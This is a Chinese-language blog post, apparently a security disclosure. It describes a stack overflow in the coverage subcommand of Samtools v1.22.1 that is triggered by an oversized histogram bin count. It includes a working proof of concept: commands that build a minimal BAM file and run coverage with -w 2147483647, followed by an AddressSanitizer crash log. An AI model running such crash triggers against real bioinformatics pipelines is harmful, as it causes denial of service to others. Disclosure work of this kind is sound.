Samtools v1.22.1 覆盖度分析功能存在栈溢出漏洞

本文披露了Samtools v1.22.1版本中coverage子命令存在的安全漏洞。当用户指定过大的直方图分箱数量时,会导致整数除法异常和栈溢出,可能造成服务拒绝和内存损坏。文章包含详细的技术分析和概念验证代码。

Samtools v1.22.1 覆盖度分析中过度分箱数处理不当导致栈溢出

在samtools coverage子命令中,-w / --n-bins选项允许用户指定在覆盖度直方图中生成多少个"分箱"。代码计算:stats[tid].bin_width = (stats[tid].end - stats[tid].beg) / n_bins; 当分箱数量(n_bins)相对于区域长度(end - beg)极大时,该整数除法可能产生零,或导致后续算术运算出现意外行为。随后在print_hist()中,涉及current_binrow_bin_size和循环边界的计算可能溢出或导致无效分支,最终引发栈递归或无限制的栈消耗。实际上,提供巨大的分箱计数(例如2147483647)会触发print_hist()中的栈溢出(如观察到的)并使程序崩溃。

影响:

  • 服务拒绝(DoS)
  • 内存损坏

概念验证(PoC)

创建具有大声明参考大小和一个读取的最小BAM文件:

1
2
echo -e "@HD\tVN:1.6@SQ\tSN:chrX\tLN:500000000r1\t0\tchrX\t1\t60\t10M\t*\t0\t0\tAAAAAAAAAA\tIIIIIIIIII" \ | ./samtools view -b -o huge.bam -
./samtools index huge.bam

使用巨大的分箱计数运行覆盖度分析:

1
./samtools coverage -w 2147483647 huge.bam

预期崩溃:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1070796==ERROR: AddressSanitizer: stack-overflow on address 0xfffef18a7ff0 (pc 0xab400a2993cc bp 0xffffdff5a910 sp 0xfffef18a7ff0 T0)
    #0 0xab400a2993cc in print_hist /root/samtools/coverage.c:236:22
    #1 0xab400a29c304 in main_coverage /root/samtools/coverage.c:674:13
    #2 0xab400a286044 in main /root/samtools/bamtk.c:271:55
    #3 0xff6004352290 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #4 0xff6004352374 in __libc_start_main csu/../csu/libc-start.c:360:3
    #5 0xab400a15cc6c in _start (/root/samtools/samtools+0x3cc6c) (BuildId: 031fb204568f835410c0dd07ee99a915c9a7b660)

SUMMARY: AddressSanitizer: stack-overflow /root/samtools/coverage.c:236:22 in print_hist
==1070796==ABORTING
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计